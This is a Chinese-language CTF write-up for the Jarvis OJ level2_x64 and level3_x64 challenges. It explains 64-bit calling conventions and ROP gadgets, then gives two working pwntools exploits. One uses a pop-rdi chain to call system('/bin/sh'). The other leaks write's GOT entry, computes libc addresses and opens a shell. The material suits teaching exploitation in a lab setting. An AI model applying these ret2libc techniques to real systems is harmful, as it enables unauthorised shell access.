1. 程式人生 > >Jarvis OJ- [XMAN]level2/3_x64-Writeup——64位簡單棧溢位

Jarvis OJ- [XMAN]level2/3_x64-Writeup——64位簡單棧溢位

兩道64位棧溢位,思路和之前的32位溢位基本一致,所以放在一起

在這兩道中體現的32位和64位的主要區別在於函式引數傳遞的方式

在32位程式執行中,函式引數直接壓入棧中

    呼叫函式時棧的結構為:呼叫函式地址->函式的返回地址->引數n->引數n-1->···->引數1

在64位程式執行中,引數傳遞需要暫存器

    64位引數傳遞約定:前六個引數按順序儲存在暫存器rdi, rsi, rdx, rcx, r8, r9中

    引數超過六個時,從第七個開始壓入棧中

Level2_x64

   

  

   只要在呼叫system函式傳遞引數“/bin/sh”時,將其傳入暫存器即可。

  Something new  

    可以使用ROPgadget搜尋我們需要的rop鏈

     ROPgadget可以在程式的彙編程式碼中尋找字串或命令

    

    箭頭所指pop rdi ; ret  即為將棧頂元素彈出並存入暫存器rdi,ret返回棧。

   可以利用此類語句將函式引數傳入暫存器。 

   exp:

#!usr/bin/env python 
# -*- coding: utf-8 -*-
from pwn import  *

io = remote("pwn2.jarvisoj.com",9882)
elf = ELF("./level2_x64")

sys_addr 
= elf.symbols["system"] bin_addr = 0x600A90 #利用ROPgadget獲得 rdi_ret = 0x4006B3 payload = '' payload += 'a' * 0x88 payload += p64(rdi_ret) payload += p64(bin_addr) payload += p64(sys_addr) io.recvline() io.sendline(payload) io.interactive() io.close()

   結果如下

   

Level3_x64

  和上一個相同,差別只在呼叫函式時引數的傳遞

  

  按照引數傳遞約定,write函式需要三個引數,需要rdi,rsi,rdx三個暫存器,但是沒有發現所需要的第三個暫存器rdx

  所以可以先跳過第三個引數(讀入長度)

  寫好exp之後可以除錯下,檢視在呼叫函式之前,rdx的值,如果rdx值>=8,那麼就不需要處理,

  exp

#!usr/bin/env python 
# -*- coding: utf-8 -*-


from pwn import *
context.log_level = 'debug'
io = remote("pwn2.jarvisoj.com",9883)
elf = ELF("./level3_x64")

write_plt = elf.plt["write"]
write_got = elf.got["write"]
func = elf.symbols["vulnerable_function"]

libc = ELF("./libc-2.19.so")
write_libc = libc.symbols["write"]
sys_libc = libc.symbols["system"]
bin_libc = libc.search("/bin/sh").next()

rdi_ret = 0x4006B3
rsi_ret = 0x4006B1
payload1 = 'a' * 0x88
payload1 += p64(rdi_ret) + p64(1)   # rdi
payload1 += p64(rsi_ret) + p64(write_got) + p64(0xdeadbeef)  #rsi 和 r15
payload1 += p64(write_plt) + p64(func)

io.recvline()
io.sendline(payload1)
write_addr = u64(io.recv(8))
sys_addr = write_addr - write_libc + sys_libc
bin_addr = write_addr - write_libc + bin_libc

payload2 = 'a' * 0x88
payload2 += p64(rdi_ret) + p64(bin_addr)
payload2 += p64(sys_addr) + p64(0xdeadbeef)

io.recvline()
io.sendline(payload2)
io.interactive()
io.close()

  結果:

  

關於程式中暫存器不夠的問題,留一個連結http://m.blog.csdn.net/zsj2102/article/details/78560300

講的還算清楚